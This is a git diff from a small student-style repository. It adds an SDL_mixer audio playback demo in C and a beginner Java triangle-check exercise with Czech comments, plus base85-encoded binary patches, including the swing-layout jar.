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 +#include +#include + +const max_sounds=50; +Mix_Chunk *sounds[max_sounds]; +Mix_Music *music; + +//kanaly +enum { +SNDT_0, +SNDT_1, +SNDT_2, +SNDT_3, +SNDT_4, +SNDT_5, +SNDT_6, +SNDT_7 +}; + +//zvuky +enum { +SND_ZVUK, +SND_NUM +}; + +int main(int argc,char *argv[]) +{ +if ( SDL_Init(SDL_INIT_AUDIO) < 0 ) { + fprintf(stderr, "Problem: %s\n", SDL_GetError()); + exit(1); +} +atexit(SDL_Quit); + +//frekvence 22050 Hz +//MIX_DEFAULT_FORMAT - Signed 16-bit zvuky, v systemovem bytovem poradi (little,big endian) +//mono-stereo: pro mono vlozte 1, pro stereo 2 + +if (Mix_OpenAudio(22050/*frekvence [Hz]*/, MIX_DEFAULT_FORMAT, 2/*mono-stereo*/,1024/*velikost bloku*/)==-1) +{ + fprintf(stderr,"Mix_OpenAudio: %s\n", Mix_GetError()); + exit(1); +} + + sounds[SND_ZVUK] = Mix_LoadWAV("zvuk.wav"); +if (sounds[SND_ZVUK]==NULL) +{ + fprintf(stderr,"zvuk [zvuk.wav] nebyl nahran\n");exit(2);} + + //kanal: -1 pro prvni volny kanal +//pocet opakovani x: zvuk se bude opakovat x+1 krat,x=-1 pro stale opakovani. +Mix_PlayChannel(-1/*kanal*/,sounds[SND_ZVUK]/*Mix_Chunk*/,0/*pocet opakovani*/); + + music=Mix_LoadMUS("music.mp3"); +if (!music) { + printf("Mix_LoadMUS(\"music.mp3\"): %s\n", Mix_GetError()); + exit(2); +} + +//pocet opakovani x: hudba se bude opakovat x krat,x=-1 pro stale opakovani. +//postupne zvysuje hlasitost hudby od 0 do 100% za 2000 ms po spusteni + +Mix_FadeInMusic(music, -1/*pocet opakovani*/,2000 /*cas[ms]*/); + +//lze i jen provest pouhe spusteni hudby +//Mix_PlayMusic(music, -1/*pocet opakovani*/); + +SDL_Delay(5000); + + //ztlumi hudbu az do ticha a vypne +Mix_FadeOutMusic(2000); + +SDL_Delay(1000); + +Mix_CloseAudio(); +return 0; +} \ No newline at end of file diff --git a/java/Metody.java b/java/Metody.java new file mode 100755 index 0000000..ccf8e6b --- /dev/null +++ b/java/Metody.java @@ -0,0 +1,73 @@ +package seminar7; + +import java.util.*; + +public class Metody { + + public static void main(String[] args) { + + Scanner sca = new Scanner(System.in); + int a = sca.nextInt(); + int b = sca.nextInt(); + int c = sca.nextInt(); + + over(a,b,c); + pravouhly(a,b,c); + obvod(a,b,c); + //obsah(a,b,c); + } + + static void over(int a, int b, int c) + { + int j = 1; + if((a+b) < c) + j = 0; + if((b+c) < a) + j = 0; + if((c+a) < b) + j = 0; + if(j == 0); + System.out.println("Neni trojuhelnik!"); + } + + static void obvod(int a, int b, int c) + { + int o = (a + b + c); + System.out.println("Obvod O = " + o); + } + + static void obsah(int a, int b, int c) + { + int o = (a + b + c); // Zatim obvod + System.out.println("Obsah S = " + o); + } + + static void pravouhly(int a, int b, int c) + { + int sa = 0, sb = 0, sc = 0; + if(((a * a) + (b * b)) == (c * c)) + { + sa = a; + sb = b; + sc = c; + } + + if(((c * c) + (b * b)) == (a * a)) + { + sa = c; + sb = b; + sc = a; + } + + if(((a * a) + (c * c)) == (b * b)) + { + sa = a; + sb = c; + sc = b; + } + + if((sa * sa + sb * sb) != (sc * sc)) + System.out.println("Neni pravouhly!"); + } + +} diff --git a/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar b/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar new file mode 100644 index 0000000000000000000000000000000000000000..a3fc9566d012e92e9577e5a1499923113f3f5e50 GIT binary patch literal 140545 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 